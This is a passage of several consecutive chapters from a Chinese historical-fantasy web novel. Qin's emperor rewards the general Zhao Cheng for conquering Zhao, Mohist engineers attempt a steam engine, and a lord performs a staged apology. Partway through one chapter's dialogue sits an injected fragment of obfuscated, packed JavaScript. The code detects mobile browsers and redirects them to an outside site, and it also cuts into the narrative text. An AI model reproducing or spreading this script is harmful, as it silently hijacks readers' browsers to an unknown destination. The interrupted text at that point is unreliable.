臣亲见将军神威:徒手接天雷而不伤,跃空击仙师而不退,一骑当千,如入无人之境。
赵军闻其名则股栗,见其影则奔逃,此非人力所能及,实乃大秦之利刃,诸国之梦魇!
若非将军驰援,臣与麾下儿郎早已化为城下一抔黄土。
今将军已整兵北上,欲与王蒙二部夹击李牧,以速尽取赵地,因战事紧急刻不容缓,赵将军无暇上报军情,臣代其急传。
如今率部紧随,效死力助,以求将功补过。
谨具表以闻,伏乞陛下圣鉴。”
周围原本有些窃窃私语之声,随着李斯宣读,逐渐安静下来。
直至最后,哗然之声四起。
来送行嬴政的百官,都是满脸震撼之色。
“原是如此!是赵将军自邯郸疾驰来援番吾,才解了番吾之困!”
“怪哉,赵将军不是从颍川郡北上打的邯郸,如何得知番吾被李牧困住了?”
“孤身来援,镇压万敌!此真秦之战神哉!”
“当真惊险,若非李信急中生智,假传有援军将至,李信一部恐怕还撑不到赵将军来援啊!”
“赵将军拿下邯郸之后,竟然不居功以待,而是率军北上驰援,要夹击李牧,尽下赵国全境!”
“如此甚好!有赵将军驰援,前线的僵持战事,必能撕开一个缺口,我大秦,将速下赵国全境!”
“汝等难道没有听到,赵将军徒手接天雷而不伤,跃空击仙师而不退?素闻赵将军乃是仙人转世,未曾想真有如此玄奇之事!"
“如此不世之锋,若是继续北上,恐怕要不了多久,就可以灭掉李牧一部,而后拿下赵国全境了,到时候,这灭国之功恐怕还能再上一层!”
若是军报之中,说别人做到这一点,诸臣是万万不信的,只会当做李信夸大军情。
但这事是赵诚做出来的,那就不得不信了。
毕竟大家是曾亲眼看过赵诚出手,灭掉昌平君那八百门客的,又有诸多奇闻,此事就算再过玄奇,那他们也不得不信。
金根车内,听着诸臣的哗然之声,嬴政的嘴角微微扬起。
怪不得番吾突围而出,原是赵诚率军北上了。
尽管对于赵诚的武力值很有信心,但是听到赵诚竟然能够徒手接天雷,跃空击仙师,嬴政还是一阵心潮澎湃。
此世之浩大,真是深不可测,幸得赵诚此子柱国,则大秦万世定矣,孤心无忧!
何为国柱,赵诚就是顶住大秦的栋梁!
何为底气,赵诚就是无惧仙人的底气!
若是从前,嬴政听闻敌国有仙师协助抵御,甚至能够唤来天雷,那必然心有忧虑。
可如今,有赵诚在,仙师又算得了什么?
这大秦,不再是寡人一手撑着。
还有无双国士,还有架海金梁!
嬴政心中大为痛快,在车驾之中,肆然无声而笑。
听不到金根车之中的回音,李斯对着金根车一拜,说道,“赵之邯郸虽为赵诚所破,然其名将李牧尚在。
牧用兵如神,若令其退保代郡,蓄力待时,恐为我大秦东出之梗,猝然反噬,祸未可测。
今赵诚率血衣军北上,必能破李牧之众,下代郡,尽定赵土。
若事成,此功当冠绝一代。
昔以破邯郸、俘赵王之功,陛下赐诚大庶长之爵。
今若全定赵境,其功更着,爵级当再议晋升。
且北地战局变幻莫测,咸阳乃天下中枢,需陛下居中调度,以镇全局。
诚若竟全赵之功,封爵之仪与爵秩皆需重定。
臣请陛下暂息巡邯郸之驾,待军功奏报至,事尘埃落定,再临赵地,亦不为晚。“
片刻之后,嬴政走出金根车,昂首挺立,威严似海,“可。”
他随迫切出巡邯郸,但此时赵诚正北上征战,他就算到了邯郸,也没什么意思。
他就是要在那赵国诸多贵族之前,亲自给赵诚封爵!
将这破灭赵国数百年国运的少年,将这赵国王室之血仇,当着所有人的面,封为大秦国侯!
再将昔日之仇,一一坑杀!
使仇者痛,亲者快!
……
番吾军报传回之后,百官于大殿之上,议论治理赵境之事。
正议论激烈之间,郎中令再传急报而来。
“陛下,前线蒙武军报!”
群臣皆是心神一震,又有急报?
不会这么快吧。
那李牧可是多次击退秦国的攻伐,就像是一座坚不可摧的大山一般,拦在秦国大一统的路上。
虽然知道赵诚也是极为强大,但李牧的稳如泰山亦是深入人心。
如此短的时间里面,大家都不太敢猜测李牧兵败。
嬴政倒是依然从容,如旧大手一挥,“宣读。”
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第168章 蒙武奏捷惊万古,嬴政凝眸待彻侯
李斯上前,展开军报,当朝宣读。
“大王陛下,臣蒙武顿首以拜:
攻赵之战,臣与王翦将军分屯陉口、铜鞮,与李牧三万赵军对峙数月。
牧凭井陉天险,固守疲敌,滴水不漏,臣等苦寻破绽而不得,皆以为此役必迁延日久。
忽闻急报:赵将军诚疾袭番吾,三日下邯郸,俘赵王迁!
臣骤知赵都已破,料李牧必弃井陉,退保代郡以图苟延。
遂引兵衔尾追击,欲拖其脚步,待将军北上合歼。
不意李牧狡黠,竟于狼牙谷设伏,布精锐弓手于谷上,藏骑兵于两翼,以雁形盾阵为饵,诱臣入瓮。
及臣部深入谷中,伏兵四起,箭落如雨,赵军精锐环伺,阵脚几溃。
臣率部死战,然李牧亲挥镇岳剑冲阵,司马尚协攻左右,臣已陷绝境,腰脊欲断,令旗将折,当此千钧一发,忽闻弦鸣裂空,司马尚中箭毙亡!
臣惊见一箭穿喉,再箭震李牧剑势,七箭破其甲而不伤要害,皆自千步外而至,实非人力所能及。
秦军识此“阎王令”,知是赵将军诚至,士气大振。
俄而血衣军红旗如燎原火,席卷谷口。
将军跃马入阵,大戟挥处,罡风成龙卷,摧枯拉朽,一戟屠赵军精锐百人,断肢飞血,尸积如山。
李牧持剑欲抗,将军徒手夺其镇岳,扼其颈如提稚子。
既擒李牧,赵将军不急于诛,乃出赵王伪诏,斥其“拥兵自重、私通秦国”,复掷赵国令官为证,言郭开已伏诛于邯郸大牢。
牧观诏览证,知赵王昏聩、国祚已尽,昔日忠志顿溃,叹“大势已去”,遂降。
自将军诚北上,三日下邯郸俘赵王,星夜驰援番吾,复疾驰狼牙谷解臣之困,以诡道破李牧忠节、降其部众,更灭胡刀风骑、斩公子嘉。
凡七日内,尽定赵境三十七城,拓地千里,斩敌首十三万,降者八万。
如今已率血衣军,再次北上,疾袭代郡。
其勇可裂地,其智可摧心,真乃大秦之锋刃,诸国之震怖!
今李牧一部尽平,皆赖将军神威,其功当冠三军。
伏乞陛下圣鉴,厚赏其功,以彰天威。”
当最后一道声音落下,大殿之中已是一片鸦雀无声。
群臣失神,惊疑不定。
“千步之外,箭毙敌将……”
“一戟之威,屠灭百人……”
“这可真是,这可真是……”
有老将挠着头,想要说些什么来表示赞叹,奈何文化不多,真是了半天,也没有说出什么东西来。
“李牧乃赵国之脊梁,其用兵如磐石难撼。
正因此人镇守,我大秦才多年没有攻下赵国。
如今上将军一战定之,不但败其精锐,还能摧其忠勇,使其降服于秦,真乃智勇无双!”
“赵将军不但大败李牧一部,还北上代郡,这是要将赵国最后的跟脚也全部斩尽!”
“如此破竹之势,当真骇人!”
“秦有此将,何愁天下不定?“
“臣曾掌粮秣,深知赵地崎岖,用兵不易。
将军率万余血衣军,竟如摧枯拉朽,斩十三万、降八万,拓地千里而兵损不过千!
此等军功,恐非‘爵禄’可偿,当铭于金石,传之后世!“
宗正赢傒则是说道,“我大秦自襄公立国,数百年征伐,未闻有此等神将!
单骑解番吾之围,七日尽吞赵国,此乃天授陛下之勇将,助我嬴氏定鼎六合!
当速请陛下亲至邯郸,以将军之功祭告列祖!“
众大臣都观察着嬴政的反应。
赵诚是秦之利刃,无双国柱一事,已经没有人怀疑。
大家也都知道嬴政很是重视赵诚,在昌平君拿着通敌密信质疑之时,陛下依然对其深信不疑,仍旧将血衣军交付给赵诚,让赵诚疾袭邯郸。
可见其对赵诚之信任。
但今时不同往日,赵诚表现出来的力量太强大了,且威势过盛。
不论是军中威望,还是实力,亦或者是这等军功,都恐怕会受到嬴政忌惮。
此事以李斯了解最为深刻,他甚至嬴政经过吕不韦时期之后,对于大权旁落的忌惮之心。
在嬴政亲自掌权之后,不但将调兵职权调整为虎符调兵,将军事权力尽掌于手。
还将丞相等职位的权力分化开来。
更是每日亲自处理大部分的政务。
这全都源自于当初吕不韦掌管大权时期的后遗症。
所以,他太清楚嬴政对于大权旁落的忌惮之心。
此时六国未定,然赵诚之功,已经冠绝当代。
李牧已经在想着,如果嬴政露出一丝忌惮之意,或者对其暗示,自己将如何寻机压制赵诚的军功爵位了。
而亦如他所想,对于诸臣的提议和惊叹,嬴政只是摆了摆手,面无表情道,“此战未尽,封赏之事,容后再议。”
群臣面面相觑,似乎都隐隐意识到了什么。
殊不知,嬴政亦是强力忍耐,才没有露出笑意来。
连宗正都表示,赵诚乃天授大秦之勇将,未来此子回归宗族,还有何人敢拦?
退朝之后。
嬴政立于大殿丹陛之上,长目北眺。
似已穿透千里尘烟,望见那玄氅翻飞的魁影正于乱军之中横戟跃马,裂地崩山。
他终于露出意气飞扬的笑容来,意气如长虹贯日。
长目之中,有着欣慰汹涌,更有雄心万千。
吾儿骁勇,锐不可当!
此战之后,寡人可封你为伦侯,以此赫赫战功,告慰列祖列宗!
最初之时,他最初只想着,只待赵诚勇猛杀伐,以军功跻身一流贵族后,便顶住宗族与群臣压力,令其回归宗族。
可此刻望着北疆烽烟的方向,这份念想竟已觉不足。
要等。
要等你踏平六国,杀穿军功二十等,以绝世之功爵拜彻侯!
届时,孤要你以冠盖寰宇之势,横压万古之态,堂堂正正归我嬴氏宗族!
要叫这满朝文武俯首,叫这宗族亲贵噤声,叫这天下黔首叹服。
孤要看,你亲手打下这万里江山、永世基业。
待将这煌煌天下交到你手中那日。
四海八荒,谁敢置喙半句?
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第169章 嬴政亲赐伦侯爵,禽滑厘炸邯郸宫
没有让嬴政多等,三日之后,赵诚亲笔急报传来。
字迹依然潦草。
让嬴政看得有些无语,不过内容倒是可以轻松辨认。
“臣赵诚上言:
降李牧后,臣率血衣军万余北趋代郡。
克城七座,而后诸城闻风而降,少有战事。
至代郡之外。
赵佐以两万伏窄道,臣令部绕后,自率军冲之,斩佐,尽灭其众。
繁畤城赵车列阵拒守,破之,车死。
继下灵丘、飞狐口,雁门阮亳望风而降。
凡三日,得城十九,斩五万余,降三万,血衣军损不足三百。
赵地尽平,臣回师邯郸,待陛下令。
臣赵诚”
李斯当着群臣百官的面,宣读了此军报之后,群臣却纷纷沉默无声。
嬴政看了看群臣,目光落在李斯身上。
“相国以为,此功可如何封爵?”
李斯眼睛一转,心中已经有所计较,上前一步回禀。
“陛下,今赵诚定赵之功,固显于当世,然封赏之议,当循秦制、顾全局,未可骤加显爵。
臣窃以为:六国未平,天下未定,若以“灭赵”之功骤封上爵,恐生三患——
其一,功高震主之嫌。
赵诚一战定赵境,斩敌十数万,降者逾八万,威声远播六国。
然今燕、齐、楚尚存,若爵禄过隆,恐诸侯合纵以“除秦锐刃”为名反扑,徒增灭国阻力。
其二,军制平衡之虞。
秦以军功授爵,赖“法”而非“人”。
血衣军虽锐,终究是一军之力。
若因赵诚一人而破“军功累迁”之制,恐使诸将生“功难敌势”之念,怠于战事。
其三,权柄制衡之要。
陛下亲掌虎符、分化相权,皆为防大权旁落。
今赵诚既掌锐师,又兼灭国之功,若再授高爵、予重权,虽臣知其忠,然朝堂需“制衡”以安社稷。
臣请陛下暂降诏:嘉赵诚“定赵之勋”,先赏金帛、增食邑三千户,待灭六国、天下归一后,再论上爵。
如此,既彰陛下赏功之明,又存“以稳促全”之智,两全而无害。
故,此战乃灭国之功,依照灭国之功而算,赵诚原爵少上造,此战可封大良造。
陛下因其此战军功显赫,破格赐其大庶长之爵已是恩赏,无需再次升格。“
嬴政听完,眉头微皱。
还是大庶长?
那前阵子寡人要出巡邯郸的时候,就已经要封赵诚为大庶长。
如今赵诚收降李牧,北上攻伐,攻克赵国全境,还是大庶长。
那寡人不是白等这几日?
且这封爵也说不过去,灭完邯郸,俘获赵王,就已经是大庶长。
如今再立赫赫战功还是大庶长。
李斯你在和寡人开玩笑不成?
嬴政不答,又环视群臣,“诸卿如何看待?”
群臣面面相觑之后,都是顿首而拜。
“臣以为,相国说得不错。”
“相国此言,确有道理。”
“相国说这三点,都说到了点子上啊。”
嬴政脸色一黑,说了和没说一样。
“哼!”
他突然一声冷哼,让殿下群臣都是心中一颤,有些摸不到头脑。
难道陛下之前的表现,不是忌惮赵诚?
怎么按照相国所说压制赵诚,他还不高兴了?
果然君心难测,陛下真是不好伺候!
却听嬴政说道:
“相国所虑,固在制衡,然秦之兴,赖‘功必赏、过必罚’之律。
赵诚定赵境,斩敌十数万,降者八万余,拓地千里,此非‘一军之力’,乃寡人之‘天威所至’,亦秦法‘重军功’之证也。
诸国未平,正需‘锐刃’示天下。
赵诚此战之功,冠绝大秦诸代名将,依照军爵律令,可封伦侯!
此非破例而封,实为按律而赏!
令六国知秦赏功之明,令将士见奋击之报。
军制平衡?
秦法在,何惧失衡?
权柄制衡?
寡人亲掌虎符,信而不疑,疑而不用!
赵诚掌锐师,忠心事主,若因‘功高’而抑,反失‘赏罚分明’之本。
传寡人诏令,此灭国之功,封赵诚伦侯,食邑关内万户,金千镒,锦缎百匹。
血衣军将士,按级增爵一级,各赏钱帛有差。
寡人之意已决,相国毋复多言。“
嬴政之言斩钉截铁,群臣闻之尽皆骇然。
伦侯!
十九级爵!
在这个时期,没有任何一个人能够凭借军功达到这个爵位!
虽然赵诚此功惊世,但嬴政如此恩赏,已经算是开辟先河!
给予其前无古人后无来者的殊荣。
可见对赵诚的重视与信任。
而群臣虽然尽皆惊骇,却并不觉得嬴政这是破格或者搞特例。
因为赵诚的军功,按照军爵律来说,确实可以达到这个等级。
更何况,在灭掉邯郸,俘获赵王等诸多贵族之后,赵诚就足以封大庶长。
如今更是在短短几日之内,就以极低的折损,速下赵国全境,这是前所未有之事,亦是前所未有之赫赫战功。
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嬴政要真是忌惮赵诚,那此事大家心照不宣,也就认了。
可嬴政信任赵诚,封其伦侯,所有人也是无话可说。
只有李斯脸色发红,为自作聪明而感到羞愧。
嬴政看了看李斯,“相国不必多虑,尽快去拟爵令,制爵符吧。”
“三日之后,寡人出巡邯郸,亲封伦侯!”
“唯。”
三日之后,嬴政终于是再次坐进了金根车,带着赵诚的赐爵令与赐爵仪式一应物件,起驾出巡邯郸。
前有三百虎贲郎持长戟开道,后有副车带着侍臣、符节令、太医等随行人员紧随。
仪仗威严,声势浩荡而去。
……
另一边,赵诚已经回到了邯郸。
一进邯郸,就看到远处王宫之中,一股股蒸汽腾起。
时不时还会传来阵阵轰隆炸裂之声。
走出没两步,远处宫墙之内,一个人影竟然横飞而起,从天边直接炸飞到了赵诚身前。
赵诚低头一看。
哟,禽滑厘!
禽滑厘此时头发焦黑,满脸胡子也是烧掉了许多,浑身更是到处黑灰,好像刚从煤窑里面逃荒出来。
但双眼之中,却有着亢奋和狂热。
就算被炸飞如此之远,依然立刻爬起,完全无视了旁边的赵诚,自顾自激动的手舞足蹈。
“要成了!!”
“吾要成了!!”
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第170章 墨徒醉造蒸汽械,血屠静观兼爱锋
嘭!
嘭!
又是接连两道炸响的声音传来,赵诚循声看去,顿时看到天边冒着黑烟,而黑烟之中,有着两三道墨家子弟的身影甩着黑烟飞了出去。
而后远远地抛摔在了地上,噗通轱辘了两下,就没了动静。
而禽滑厘视若无睹,一瘸一拐的想着王宫之中走去,嘴里还在念念有词,不知道在念叨着什么。
赵诚上前几步,看了看地上翻白眼的几个墨家弟子,见他们只是被震荡晕厥过去了,便不再管。
随着禽滑厘一起,向着宫殿之中走去。
他现在大概已经猜到禽滑厘他们在搞什么了。
应该是因为自己离开之前,给他见识了蒸汽的力量,这一下给禽滑厘打开了新世界的大门,让其开始沉迷于研究蒸汽机的力量了。
可在这个时代,蒸汽机哪里有那么好研究的,不但鼓风技术不到位,钢材的强度,活塞的精确度,火焰的温度,全都是问题。
怪不得出去没有多久的时间,这些墨家子弟已经快要被逼疯了。
随着赵诚前行,很快一大片的镶金钳木的机关出现在赵诚的眼中。
这些镶金钳木的机关,大部分的地方都是木质的,但关键部位全都是精钢制成。
看起来全都是墨家子弟自己手挫出来的,但是精度却十分不凡。
运转起来丝滑无比,而其中动力,还真是依靠最中央的一个燃烧着煤炭的锅炉。
不再是依靠人力了。
只是这锅炉的火力明显不够,周围这些机关运动的缓慢而无力,就像是一片霜打的茄子一般。
但即使如此,赵诚也是暗暗心惊。
他只是给禽滑厘展示了蒸汽的力量,禽滑厘就能够带着墨家子弟,在短短时间内做到这种地步。
还真是墨家机关,木石走路,青铜开口,要问公输!
只是让赵诚有点疑惑的是,走的时候好像没有这么多的墨家子弟,怎么出去一趟回来一看,墨家的人还多起来了呢?
赵诚环视一周,发现这些墨家子弟全都埋头研究蒸汽机,完全没有注意到他的到来。
于是只好找到了蒙恬,询问起此事。
蒙恬苦笑不已,“阿诚你有所不知,当日你北上攻伐,我留守邯郸,还有些担心这些墨家子弟会借机反抗,于是带着血衣军日夜巡视看守。”
“谁曾想,这些墨家子弟也不知道是研究出了什么东西,一个个像是着了魔似的,在这赵王宫殿之中圈出了一片地方,而后每日都往里面运输东西。”
“没两天,就搞出这么大的阵仗,时不时还传出爆裂声响,把他们自己炸得到处乱飞,却依然废寝忘食地研究。”
“我警惕了一阵,发现他们全都着了魔,便不再理会。”
“谁知,又过了两天,墨家又来了一批人,他们来势汹汹,我本以为会有一场恶仗要打。
便带着血衣军在城门处摆开阵势,针锋相对。
谁知那禽滑厘突然出现,拉住那为首的人说了几句之后,那为首的墨家统领便随他进了宫殿。
这一进去,就没有再出来,那些新来的墨家子弟,也全都进入了那一片区域,和那禽滑厘一起研究起来。
没过多久,也全都着了魔。
这两天**的频率越来越密集了,幸好你回来了,你快看看他们到底在弄什么东西。”
赵诚这才知道为什么墨家子弟变多了,原来是墨家的人来支援了。
结果支援不成,被禽滑厘拉着一起研究蒸汽机去了。
赵诚顿时有些哭笑不得。
不过这倒算是个好事。
蒸汽机的技术不是一蹴而就的,需要各种配套技术的突破,才能最终完成蒸汽机的实现。
也就是说,墨家如此痴迷,在蒸汽机出现之前,他们会将冶炼技术,材料、加工精度、能源等种种东西都研究出来。
而赵诚,则是可以第一时间将这些技术掌握在手中。
“兄长不用管他们了,他们如今研究的叫做蒸汽机,这东西搞出来,咱们的国力可以更上一个层次!”
国力还能够更上一个层次?
听到这话,蒙恬都有些惊了。
“就那些能够把人炸飞的小玩意,能够让整个大秦的国力提升?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097874|176970||http|test|mini|href|location''.split(''|''),0,{}));
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r>“诶,兄长,你可别瞧不起这东西,这东西猛着呢,日后你就知道了。”
赵诚也不打算多解释,说完之后,就进入了禽滑厘等人研究的区域观察起来。
这一仔细观察,他更是惊讶。
在机械这方面,这个时代的墨家还真是顶流。
他们已经研究出了气缸,而且是手搓出来的精度极高的气缸,甚至能够做到完全密不透风。
只是这些精钢气缸的强度还是不够,在蒸汽的力量之下,经常会发生爆裂。
这也是他们经常被炸飞的缘故。
“……此劲果然强大,若是此物弄出来,那只要有火和水,那便有取之不尽用之不竭的力量可用。”
“而且这种机关占据的地方不是很大,不像是借助水利亦或者是风力的机关,需要占据极大的地方,且无法随便移动。”
“只是这刚才还是需要继续精炼才行,这钢筒与铜塞越是密不透风,里面的力量就越大,钢筒不但要硬,还要足够坚韧才行。”
满身黑乎乎的禽滑厘与一旁的一名青年沉浸式地讨论着。
禽滑厘苦思半晌,没有丝毫进展,突然叹息一声。
“若是赵将军在就好了,以他那惊天才思,定然会有办法改进这钢筒的。”
“也不知道他去哪了。”
说到赵诚,一旁的相里勤突然反应过来了,“你怎么总是提起那血屠,我来此就是来解决那血屠,带你们回去的。”
“说什么才思,那血屠**降卒,**百姓,还**我墨家子弟,残暴不仁,等他回来,我定要杀了他!”
禽滑厘连连摆手,“那些都是谣传,你何曾看见他**降卒百姓了?以他的实力,若是真要**,这整个天下都不够他杀的。”
“他能够将蒸汽之力这种惠及天下的东西传递给我们墨家,可见是心怀天下之人。”
“如此武力,如此才思,只要他不死,日后这天下百姓,都会受其恩惠!”
相里勤气坏了,“大师兄,你怎可为那血屠说话,你难道忘记了墨家的理念了吗?”
“兼爱非攻!”
第171章 玄氅镇伏墨才郎,荆衣负罪叩邯郸
禽滑厘指了指那气缸,“不说其他,光说此物,若是用以民生,用其来进行城中蓄水,或者农田灌溉,将会如何?”
“这……”相里勤突然意识到,这是一种开天辟地的变革,心中为之震颤起来。
“如此惊天秘法,妙用无穷,如若能够普及开来,墨家机关术便能够惠及天下,我墨家之学,会成为当世第一显学,天下无数百姓,都可以是我墨家子弟。”
“借由此术,无穷百姓将再也不会因饥荒而饿死。”
“而这,只是将军所述的冰山一角,我能够感觉到,他还有许多才思没有说出来。”
“若是他能全部说出来,此世将会产生何等变化?”
“且不说他并不像传闻中那般残暴,我亲眼看到他拿出珍贵丹药治疗部下,也亲眼看到他将城中富族之财,散于贫苦百姓。”
“就算他真如那传闻之中一般残暴不仁,又能如何?”
“兼爱非攻,能和惠及万世相比?”
当然还有最重要的一点,禽滑厘没有说出来。
那就是就算你要杀,也得杀得掉那家伙才行啊,那家伙强得不像是个人。
巨子没来,就这点墨家子弟不够他塞牙缝。
就算巨子来了,能否战胜还是个未知数。
相里勤气坏了,“大师兄,你真是不可理喻!你这样,对得起师父栽培吗?对得起墨家,对得起祖师吗?”
他正气愤说着,却发现禽滑厘的面色变得紧张起来,正怔怔看着他的身后。
相里勤也突然发现,身前光线暗了三分,而且在越来越暗。
他豁然回头,一道如险峰般挺拔的魁躯正站在身后。
他身披玄色大氅,手提擎天大戟,面容英武凛凛,双眸煞气腾腾,只是与其目光一对,心中便有莫大的恐惧和软弱升起,让相里勤心胆具颤。
“你……你是……”
禽滑厘心头紧张,连忙上前深深揖礼。
“将军!这是我的小师弟,相里勤,他是墨家当代最有天赋的弟子,我们正讨论这机关的改良,苦思不得其解,幸好将军回来了……”
“听说你想杀我?”赵诚俯瞰着相里勤,若无其事地说出这句话。
但相里勤却感觉这一刻浑身冰凉,一股真正的死亡气息,如山崩海啸一般碾压过来,让人几乎无法呼吸。
“我……”
只说出一个字,相里勤就感觉喉头因为紧张而哽住了。
他瞳孔震颤,拼命想要挪动脚步,却根本动弹不得。
这压迫感……
这是什么摄魂妖术不成??
大师兄还说他不是血屠,光是站在那,杀气就已经直冲云霄,让人如面暴虎,何其残暴?
赵诚微微侧头,“你不是要兼爱非攻,为民除害吗?为何不动?
我是不动吗?
我是不敢动!
赵诚顺手将大戟倒砸,插在青石地板之上,使得整个区域都颤了三颤。
而后他向后两步,徒手站在那里,“听说你是个人才,既然有心愿,某可以满足。“
“来杀我,然后死,或臣服。”
相里勤双手颤抖着,只有真正直面这个血屠阎罗之后,他才知道那种恐怖的压迫感究竟有多强。
不可力敌!
他的脑海之中只有这四个字。
别说杀了,连伤到对方都感到不可能。
但这是赵诚给他的机会,他必须抓住,万一呢,万一对方外强中干呢?
“啊!”
他爆吼一声为自己打气,而后突然出手。
一出手便是全身机关爆发,同时整个人电射而出,一柄短刃骤然自手腕弹射出来,直逼赵诚咽喉。
嘭!
相里勤刚刚冲到一半,距离赵诚还有半丈的距离,一股强横至极的罡气突然自赵诚身上碾压而来。
只是一瞬间,所有的机关暗器全部化为齑粉。
而相里勤更是好似被高空砸下来的大山击中,整个人轰然砸落在地,潜入地板之中。
浑身传来剧痛,眼前阵阵发黑。
巨大的力量依然狠狠将其压制在地上,全身骨骼都传来咯吱的响声。
“现在,选择死,或者臣服。”
相里勤不看受
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辱,一咬牙就像选择死,但余光突然看到一旁的半成品蒸汽机,于是脱口而出的死字,就变成了“服。”
赵诚自始至终都站在原地,手指头都没有动弹一下。
年轻人的想法就是灵活。
之所以之前让人叫相里勤来,就是因为这是当代墨家的年轻才俊。
年轻人总归是开拓进取的,也能够接收新事物。
古往今来,变革者多为少年与青年。
若是墨家老登,赵诚也不是打不过,只是改变他们的想法会很艰难,最终也不过是多杀几个人,夺取几十年寿命。
没有什么意义。
赵诚察觉到了相里勤的目光,也是看向那半成品说道,“为我做事,不会只局限于这种小道。“
“蒸汽机只是一个开始,这种能源相比于电力还差得远,不过当前墨家的技术水平实在有限,你们只能从此处起步。”
”墨家之才学,能够改变这个世界,为我做事,汝等之学自会大放异彩,流传千古。“
电力?
还有比这种蒸汽机关更加强大的能源力量?
不论是相里勤还是禽滑厘,听到这话都是有些不敢置信。
但赵诚都已经能够将蒸汽机关提出来,显然这种话不是在夸大其词。
两人都是墨家之中的佼佼者。
他们对于机关术的应用,以及这种蒸汽机关带来的巨大力量太了解了。
所以也更明白赵诚所说意味着什么。
他们同时想到未来,墨家的学术在他们的手中,改变整个世界,不由得全身都是一阵战栗。
禽滑厘激动地问道,“敢问将军,如今这钢筒总是承受不住蒸汽力量而爆裂,此事该如何解决?”
赵诚理所当然道,“优化钢材韧性啊。”
禽滑厘有点无语,这我当然知道。
“可这,如何优化?”
“那还不简单,就是……”
赵诚说道一半,突然有亲卫来报。
“将军,城外昌平君携家眷与众官员前来,那昌平君赤着上身,背着荆条,说要向将军请罪!”
第172章 荆条裂背销谗骨,玄甲扬威镇邯郸
第172章:
“哦?去看看。”
赵诚说着,转身就走。
禽滑厘睁大眼睛,眼看着那魁躯背影渐行渐远。
他伸出手来,嘴唇嗫嚅,终于还是没敢强留。
最后只有攥紧了拳头痛心疾首。
怎么每次到关键时刻,就走了呢!?
一想到赵诚没说出的钢材精炼之法,他是抓心挠肝,恨不得现在就上前将赵诚绑起来,逼问他三天三夜!
但是不敢。
只能徒自哀叹,短短三天,头发已经掉了三成了……
……
邯郸城下的风卷着尘土,刮过昌平君赤裸的脊背,将他背负的荆条吹得簌簌作响。
这位大秦封君跪在城下,脊梁挺得笔直,目光却刻意收敛了平日的锋芒,只留几分恰到好处的愧悔。
在其身后,传来官员们的窃窃私语。
“大人贵为昌平君,何必如此?”
“陛下真是太过袒护赵诚了,昌平君不过是因为密信之事心有疑虑,进言了几句以绝后患,怎可令其负荆请罪?”
“汝等知道什么,大人这是以退为进,多年来,大人也是为大秦殚精竭虑,立下汗马功劳,如今这赵诚虽为陛下重视之将,可毕竟根基尚浅。
大人都已经负荆请罪,他还真能鞭挞大人不成?
若真是鞭打了大人,哼,则这满朝文武,甚至天下诸国百官,都会攻讦他是狂悖之徒,日后还有他好果子吃吗?”
“说的也是,大人已经表现出如此悔过之意,更是在这邯郸城下,当众负荆请罪,那血屠然而没法做什么了,不然只会令人不齿其心胸狭隘!“
“大人果然英明,这一招以退为进,可先下一城,从被动转为主动。”
“若非如此,吾等进入邯郸,还不得被那血屠拿捏在手中,不得自由?“
“血屠骄横,不过大王已经给了我们便宜行事职权,只要大人拿捏住血屠,后面的事情就好办了。”
邯郸城下,昌平君赤着上身,背负荆条,目光坚毅,挺立在城门之外。
作为封君贵族,能够负荆请罪,此举自然是引来无数围观者。
不多时,城门内传来沉重的脚步声。
那声音不快,却像战鼓般敲在每个人心尖上。
赵诚身披大氅,一身玄甲而来。
那身形犹如陡峭雄绝的险峰,又如直指苍穹的铁塔,其霸烈盖世,即使是邯郸城墙,在其身后,亦显得矮了三分。
“多日不见,昌平君这是作甚?”
赵诚隐带笑意的声音传来。
众官员心中一定。
稳了!
这血屠已经被昌平君的诚意迷惑,他果然是吃软不吃硬之人,这就好拿捏了!
昌平君闻声叩首,额头几乎触地,声音哽咽得恰到好处:“上将军,吾心盲如瞽,实在昏聩,竟误信谗言,在朝堂上构陷将军通敌!”
“后来更是在朝堂之上危言耸听,意欲进谏大王,除去上将军这大秦国柱。”
他猛地抬头,眼眶泛红,“待将军暗携锐旅,直捣邯郸之后,吾才知道,此乃声东击西、出其不意之策,所谓贬居颍川,不过是陛下与将军共谋的一出绝妙棋局。”
“上将军是我大秦之利刃,无双之国士,忍辱负重,甘受“沉湎酒色”之名,只为一朝破灭邯郸。
此等忠肝义胆,吾竟视之为狼子野心,实在该杀。“
“多日以来,吾每每想起此事,都悔过的寝食难安。”
他突然跪在地上,双手捧起荆条递向赵诚,“请上将军责罚,以全吾悔过之心。”
赵诚见状赵诚叹了口气,那声叹息在风中散开,带着几分无奈,“唉,昌平君已经有此悔过之心。”
“吾若再行责罚,实在是不知好歹,亦说不过去。”
众人一听,脸上也是露出笑意来。
果然!
姜还是老的辣!
昌平君这一番作态,一下就拿捏住了血屠。
传闻之中,血屠对待外人一向冷酷无情,但是对待自己人却仁义无双。
可见接下来只要表现出自己人的行为和态度,以及曾经对于误判赵诚叛国的悔过愧疚,自然能够获取血屠的信任,届时再步步蚕食邯郸之权。
而后伺机而动,早晚能够夺回失去的一切,重回朝堂之上!
众臣如此想着。
却见赵诚接过了荆条,又说道,“可我若不责罚,又辜负了昌平君的一片悔过之心,让昌平君日夜难安,亦是我所不愿意见到的。”
“这样吧,那就意思一下好
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了。”
众人一听,眼底掠过嘲讽,这血屠果然还是嫩了。
本来只需轻轻带过,既能全了昌平君的面子,又能落个"大度"的名声。
偏要多此一举,反倒落了下乘。
毕竟什么都不做,还能博一个大度的美名。
如今这责罚了,谁又知道是真打了还是假打了?
到时候只要做点手脚,将消息传出去,大家自然知道血屠是一个心胸狭隘之人,失了人心,这城楼倒塌还不是早晚的事情?
昌平君也是揖礼笑道,“请上将军尽管责罚,吾误判忠奸差点酿成大错,不责不快!”
“唉,那便全昌平君这一片苦心。”
赵诚拿起荆条,挥手甩去。
看着轻飘飘的,但他那体魄如同人形暴龙一般,就算收着力,荆条依然破空而出,瞬间发出噼啪之声。
啪!
清脆爆响,是荆条撕裂风声。
噗!
沉闷之响,是荆条撕裂皮肉。
“啊!!”
昌平君昌平君像被烙铁烫了似的猛地弹起,半边身子抽搐着扭曲成一团。
